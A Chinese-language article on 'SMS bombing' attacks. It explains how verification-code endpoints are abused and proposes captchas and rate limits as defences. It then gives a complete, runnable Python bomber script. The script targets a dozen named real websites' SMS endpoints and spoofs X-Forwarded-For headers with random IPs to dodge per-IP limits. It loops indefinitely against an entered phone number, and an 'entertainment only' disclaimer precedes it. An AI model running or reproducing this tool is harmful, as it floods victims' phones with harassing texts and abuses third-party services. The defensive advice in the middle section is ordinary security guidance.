特別聲明:
純屬個人娛樂開發,沒有任何惡意,請勿濫用,代碼見最後
該程序只是娛樂使用,共同學習,如果用於非法用途,後果自負。
短信驗證碼接口非常容易遭受互聯網惡意攻擊—“短信轟炸”,該攻擊通過循環利用不同業務中的無需註冊即可向任意手機號發送短信驗證碼的正常業務需求(如用戶註冊、密碼修改等),向多個手機號碼同時連續發送大量的驗證短信,對用戶造成困擾。下面對短信轟炸的原理進行具體分析,進而制定相應的安全防護方案。
1、短信轟炸原理
短信轟炸一般基於 WEB 方式,其由兩個模塊組成,包括:一個前端 Web 網頁,提供輸入被攻擊者手機號碼的輸入窗口;一個後臺攻擊頁面(如 PHP),利用從各個網站上找到的短信驗證碼 URL 和前端輸入的被攻擊者手機號碼,發送 HTTP 請求,每次請求給用戶發送一條短信驗證碼。
- 利用這兩個模塊實施“短信轟炸”攻擊,原理具體分析如下:
- 惡意攻擊者在前端頁面(下圖所示 )中輸入被攻擊者的手機號;
- 短信轟炸後臺服務器,將該手機號與互聯網收集的可不需要經過認證即可發送短信的 URL 進行組合,形成可發送驗證碼短信的 URL 請求;
- 通過後臺請求頁面,僞造用戶的請求發給不同的業務服務器;
- 業務服務器收到該請求後,發送短信驗證碼到被攻擊用戶的手機上。
這個過程如下圖 所示。
該攻擊頁面中主要採用 img src="’http://……’" / 來調用業務服務器短信發送的接口。如上圖紅框中內容所示:
在“短信轟炸”源代碼中,利用img標籤的 src 屬性定義了可以請求發送驗證碼短信的 URL(如 gd.12530.com/….);
- 在其中的 phonenumber 字段中嵌入被攻擊的手機號(如 13811111111)後,即可形成攻擊 URL;
- 頁面運行後,將其以 HTTP GET/POST 的方法提交給業務服務器;
- 業務服務器發送短信驗證碼到被攻擊者的手機上,從而完成了短信轟炸。
2、相關安全防護方案
我們知道短信轟炸形成的原因是因爲非授權的動態短信獲取,如用戶註冊時的手機驗證短信,在用戶獲取驗證碼短信前系統並不能建立業務關聯。因此,在未建立業務關聯的情況下,需要進一步嚴格限制保證業務使用的安全性。我們可以綜合採用:增加圖片驗證碼、IP請求次數限制、單用戶請求間隔時長限制3個措施,來保障驗證碼短信接口的安全性。
措施一:使用安全的圖片驗證碼
採用圖片驗證碼可有效防止採用自動化工具調用驗證碼短信接口,即當用戶進行“獲取短信驗證碼”操作前,彈出圖片驗證碼,要求用戶輸入驗證碼後,服務器端再發送驗證短信到用戶手機上。安全的圖片驗證碼必須滿足:
- 生成過程安全:圖片驗證碼必須在服務器端進行產生與校驗;
- 使用過程安全:單次有效,且以用戶的驗證請求爲準;
- 驗證碼自身安全:不易被識別工具識別,能有效防止暴力破解。
措施二:單IP對驗證碼短信接口的請求次數限定
使用了圖片驗證碼後,能防止攻擊者對驗證碼短信接口的自動化調用;但若攻擊者忽略圖片驗證碼驗證錯誤的情況,大量執行請求會給服務器帶來額外負擔,影響業務使用。此時可以在服務器端限制單個IP在單位時間內的請求次數,一旦用戶請求次數(包括失敗請求次數)超出設定的值,則暫停對該IP一段時間的請求;若情節特別嚴重,可以將IP加入黑名單,禁止該IP的訪問請求。該措施能限制一個IP地址的大量請求,避免攻擊者通過同一個IP對大量用戶進行攻擊,增加了攻擊難度,保障了業務的正常開展。
措施三:單用戶請求間隔時長限制
爲進一步優化業務正常使用,可以採用限制重複發送短信驗證碼的間隔時長,即當單個用戶請求發送一次短信驗證碼之後,服務器端鎖定如:30秒後,才能進行第二次請求。該功能可進一步保障用戶體驗,並避免包含手工攻擊惡意發送大量驗證碼短信。
3、攻擊代碼 Demo
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import re
import threading
import os
import random
import socket
import struct
import time
########################################
phone = "輸入手機號"
########################################
# 短信接口API 請求間隔時間 備註 請求方式 請求參數 需要SESSION的先決請求URL以及Referer
APIList = [
["https://login.ceconline.com/thirdPartLogin.do", 60, "世界經理人", "POST",
{"mobileNumber": phone, "method": "getDynamicCode", "verifyType": "MOBILE_NUM_REG", "captcharType": "",
"time": str(int(time.time() * 1000))}, ""],
["http://www.ntjxj.com/InternetWeb/SendYzmServlet", 60, "機動車手機綁定", "POST", {"sjhm": phone},
"http://www.ntjxj.com/InternetWeb/regHphmToTel.jsp"],
["https://www.itjuzi.com/api/verificationCodes", 60, "IT橘子", "POST", {"account": phone}, ""],
["http://yifatong.com/Customers/gettcode", 60, "易法通", "GET", {"rnd": ("%0.3f" % (time.time())), "mobile": phone},
"http://yifatong.com/Customers/registration?url="],
["http://qydj.scjg.tj.gov.cn/reportOnlineService/login_login", 60, "天津企業登記", "POST", {'MOBILENO': phone, 'TEMP': 1},
""],
["http://www.shijiebang.com/a/mobile/vcode/", 120, "世界邦", "GET", {'key': phone}, "http://www.shijiebang.com/reg/"],
["http://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=&cururl=http://reg.ztgame.com/&mpcode=&pwd=&tname=&idcard=",
60, "巨人網絡", "GET", {'phone': phone}, "http://reg.ztgame.com/"],
["http://www.homekoo.com/zhixiao/zt_baoming_ajax_pc_new.php", 180, "尚品宅配", "POST",
{"action": "OK", "username": "呂布", "tel": phone, "qq": "", "province": "", "city": "", "kehu_tel_time": "",
"tg_id": "296", "sp_type": "986", "num_id": "5","zhuanti_pages": "http://www.homekoo.com/zhixiao/cuxiao/index.php", "prevurl": ""},
"http://www.homekoo.com/zhixiao/cuxiao/index.php"],
["http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融號", "GET", {"mobile": phone, "mbid": "197858"},
"http://jrh.financeun.com/Login/jrwLogin?web=jrw"],
["https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", 30,
"迪卡儂", "POST", {"countryCode": "CN", "mobile": phone}, "https://www.decathlon.com.cn/zh/create"],
["http://cta613.org/sendsms.php", 60, "支教", "POST", {"y": "1", "sj": phone}, ""],
["http://sns.qnzs.youth.cn/ajax/passportSendSms", 120, "青年之聲", "POST", {"mobile": phone},
"http://sns.qnzs.youth.cn/user/passport"]
]
class initSMS(object):
"""docstring for initSMS"""
def __init__(self):
super(initSMS, self).__init__()
self.SMSList = []
self.intervalInfo = 0
def initBomb(self):
for x in APIList:
self.intervalInfo += 1
self.SMSList.append(SMSObject(x[0], x[1], x[2], x[3], x[4], x[5], self.intervalInfo))
return self.SMSList
class SMSObject(object):
"""docstring for SMSObject""" # __var 私有成員變量
def __init__(self, url, interval, info, method, params, others, intervalInfo):
super(SMSObject, self).__init__()
self.__url = url
self.__interval = interval
self.__info = info
self.__intervalInfo = intervalInfo
self.__method = method
self.__params = params
self.__others = others
def getUrl(self):
return self.__url
def getInfo(self):
return self.__info
def getParams(self):
return self.__params
def getMethod(self):
return self.__method
def getOthers(self):
return self.__others
def getInterval(self):
return self.__interval
def getintervalInfo(self):
return self.__intervalInfo
def setintervalInfo(self, intervalInfo):
self.__intervalInfo = intervalInfo
class Bomb(object):
"""docstring for Bomb"""
def __init__(self):
super(Bomb, self).__init__()
self.HEADERS = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36',
'Referer': 'http://10.13.0.1',
'accept-encoding': 'gzip, deflate, br',
'accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2',
'cache-control': 'max-age=0',
"X-Requested-With": "XMLHttpRequest"
}
def send(self, SMS):
# return "SUCCESS"
IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
self.HEADERS['X-FORWARDED-FOR'] = IP
self.HEADERS['CLIENT-IP'] = IP
session = requests.Session()
if SMS.getOthers() != "":
session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS)
self.HEADERS['Referer'] = SMS.getOthers()
try:
if SMS.getMethod() == "GET":
req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers=self.HEADERS)
else:
req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers=self.HEADERS)
# print(req.url)
except Exception as e:
return str(e)
return "已發送"
if __name__ == '__main__':
print("接口數:" + str(len(APIList)))
SMSList = initSMS().initBomb()
switchOn = Bomb()
i = 0
currTime = 0
while True:
currTime += 1
# print(currTime)
for x in SMSList:
if x.getintervalInfo() == 0:
i += 1
info = switchOn.send(x)
print(str(i) + "." + x.getInfo() + " " + info)
x.setintervalInfo(x.getInterval())
else:
x.setintervalInfo(x.getintervalInfo() - 1)
time.sleep(1)
參考鏈接
- https://blog.csdn.net/mandaoduanxin/article/details/79279922
- https://blog.csdn.net/mandaoduanxin/article/details/79378205